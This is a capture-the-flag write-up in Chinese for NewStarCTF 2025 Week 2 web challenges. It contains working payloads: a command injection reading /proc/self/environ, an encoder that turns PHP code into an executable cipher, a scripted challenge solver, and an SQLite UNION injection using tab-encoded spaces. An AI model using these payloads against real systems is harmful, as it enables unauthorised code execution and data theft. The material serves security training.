NewStarCTF2025-Week2-Web

NewStarCTF2025-Week2-Web

目录

1、DD加速器

2、真的是签到诶

3、搞点哦润吉吃吃橘

4、白帽小K的故事(1)

5、小E的管理系统


1、DD加速器

在环境变量里

Payload:;cat /proc/self/environ

2、真的是签到诶

需要对payload进行一些加密处理和替换

cyberchef 可以直接处理

这里用 python 实现

Exp:

#!/usr/bin/env python3 import base64, codecs, sys def atbash(text: str) -> str:     result = []     for ch in text:         if 'A' <= ch <= 'Z':             base = ord('A')             offset = ord(ch) - base             new = chr(base + (25 - offset))             result.append(new)         elif 'a' <= ch <= 'z':             base = ord('a')             offset = ord(ch) - base             new = chr(base + (25 - offset))             result.append(new)         else:             result.append(ch)     return ''.join(result) def make_cipher(php_code: str) -> str:     rot = codecs.encode(php_code, 'rot_13')     atb = atbash(rot)     return base64.b64encode(atb.encode()).decode() if __name__ == '__main__':     if len(sys.argv) > 1:        .join(sys.argv[1:])     else:         php_code = input('Enter PHP code to run (example: echo "签到成功";): ')     cipher = make_cipher(php_code)     print('cipher=' + cipher)     print('\nExample curl command:')     print("curl -X POST -d 'cipher={}' http://target/".format(cipher))

Payload:

cipher=dW91dGlhKCd0bWske0VIVX0vaConKTs=

3、搞点哦润吉吃吃橘

注释里给了用户名和密码

通过抓包拿到请求和验证的接口

写脚本处理:

注意到session每次都是动态刷新的,来自于访问/home时的session

Exp:

import requests import re import warnings import time warnings.filterwarnings("ignore", message="Unverified HTTPS request") BASE_URL = "https://eci-2zeiq1qx3sfyu0wmkq2l.cloudeci1.ichunqiu.com:5000" HEADERS = {     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",     "Referer": BASE_URL + "/", } COOKIES = {     "Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1758870051,1759023301,1759045200,1759196465",     "session": ".eJxNy0EKwyAQQNG7zNpFoikTXfceIu1ghFHDZIRC6N3b7LL-_53w2hIztUyxDtaycyGB4NEuaG7x0CQatVSCMOPDo5ucm-_Hp_8dLpNfrTPAPWd6x9IgqAwyMA6Sli4Ozy4dvj8rJSkm.aONamw.-1Fr7-rum_bnGpnzrcLjL6Z1mqc" } def fast_challenge():     with requests.Session() as s:         # 1. 获取 challenge JSON         r = s.post(BASE_URL + "/start_challenge", headers=HEADERS, cookies=COOKIES, verify=False)         r.raise_for_status()         data = r.json()  # 直接解析 JSON         expr = data["expression"]         # 2. 提取数字         match = re.search(r'\((\d+)\s*\*\s*(\d+)\)\s*\^\s*0x([0-9a-fA-F]+)', expr)         if not match:             raise ValueError("无法解析 expression")         a, b, c = match.groups()         token_value = (int(a) * int(b)) ^ int(c, 16)         # 3. 立即提交 token         r2 = s.post(BASE_URL + "/verify_token", json={"token": token_value}, headers=HEADERS, cookies=COOKIES,                     verify=False)         print(r2.status_code, r2.text) if __name__ == "__main__":     fast_challenge()

4、白帽小K的故事(1)

先是在源码里看到一些接口信息

就一个前端绕过

调用

甚至都不用绕过,是文件包含漏洞,直接传 mp3 后缀也可以

5、小E的管理系统

测了好久终于有反应了,空格可以使用%09代替

不要在界面测,发到bp去自己编码

字段数是5

随便测了一下发现应该不是mysql

是 sqlite

用select * 可以查

当然也可以用join拼接一下

查数据,最终payload:

?id=0%09union%09select%09*%09from%09(select%091)a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%09config_value%09from%09sys_config)e

Read more

彻底掀翻前端桌子!2026年HTML最被严重低估的神仙功能,直接干废一票JS组件库!

就在上周一,我还在为了一个破下拉菜单,死磕着整整 150 行 JavaScript 代码。这破玩意儿不仅要管展开、收起,还得处理焦点管理和无障碍访问(Accessibility)。更别提那无穷无尽、让人崩溃的 z-index 层级大战了;移动端上按 ESC 键退出的逻辑直接罢工;至于那个“点击空白处自动关闭”的屎山代码,更是让我连吐槽的力气都没有了。 就在我快要砸键盘的时候,我猛然醒悟:Popover API 已经在 2025 年 4 月达成了 Baseline Widely Available(基线广泛可用) 状态!这意味着,它现在已经在 Chrome、Firefox、Safari 和 Edge 里实现了完美的跨浏览器支持。于是,我直接把那个恶心的组件彻底推翻,只用了区区 8 行纯 HTML

前端微前端:别让你的应用变成巨石应用

前端微前端:别让你的应用变成巨石应用 毒舌时刻 这应用做得跟巨石似的,想改个功能都得动全身。 各位前端同行,咱们今天聊聊前端微前端。别告诉我你还在维护一个巨大的单体应用,那感觉就像在没有分区的大房子里生活——能住,但乱得要命。 为什么你需要微前端 最近看到一个项目,代码量超过 100 万行,构建时间超过 10 分钟,团队协作困难。我就想问:你是在做应用还是在做代码仓库? 反面教材 // 反面教材:单体应用 // App.jsx import React from 'react'; import Header from './components/Header'; import Sidebar from './components/Sidebar'; import Dashboard from

Clawdbot整合Qwen3-32B保姆级教程:Web网关18789端口调试全记录

Clawdbot整合Qwen3-32B保姆级教程:Web网关18789端口调试全记录 1. 为什么需要这个整合方案 你是不是也遇到过这样的问题:想用本地部署的大模型做聊天机器人,但发现直接调用Ollama的API在Web前端里跨域报错?或者Clawdbot配置完后一直连不上模型,控制台疯狂刷404?又或者好不容易跑起来了,发个消息却卡在“正在思考”半天没反应? 这正是我们搭建这套环境时踩过的坑。Clawdbot本身不直接对接Ollama,它需要一个中间层来处理协议转换、请求转发和端口映射。而18789这个端口,就是整个链路里最关键的“通关密码”——它不是随便选的,而是Clawdbot默认监听的Web网关入口。 整套方案的核心逻辑其实很朴素: * 你在浏览器里访问 http://localhost:18789,看到的是Clawdbot的聊天界面 * Clawdbot收到你的消息后,不自己去算答案,而是把请求转给内部代理 * 代理再把请求发到 http://localhost:8080(Ollama API地址) * Ollama调用本地的Qwen3-32B模型生成回复

Z-Image-Turbo输出格式限制:PNG转JPG/WEBP后处理方案

Z-Image-Turbo输出格式限制:PNG转JPG/WEBP后处理方案 你是不是也遇到过这样的烦恼?用Z-Image-Turbo生成了一张特别满意的图片,想分享到社交媒体或者用在网页上,结果发现文件太大了——一张1024×1024的PNG图片,动不动就几兆甚至十几兆,加载慢不说,还特别占存储空间。 更让人头疼的是,很多平台对上传的图片格式和大小都有严格限制。微信朋友圈上传大图会压缩得惨不忍睹,网站上传大文件又慢又容易失败。难道每次生成完图片,还得手动用Photoshop或者在线工具转换格式、压缩大小吗? 今天我就来分享一个简单实用的解决方案:为Z-Image-Turbo添加自动后处理功能,让生成的PNG图片自动转换成更轻量的JPG或WEBP格式,还能智能压缩,保持画质的同时大幅减小文件体积。 1. 为什么需要后处理转换? 1.1 PNG格式的优缺点 先说说Z-Image-Turbo默认输出的PNG格式。PNG是个好格式,它支持透明背景,采用无损压缩,画质保持得非常好。但问题也在这里: * 文件体积大:同样一张1024×1024的图片,PNG格式可能5-10MB,而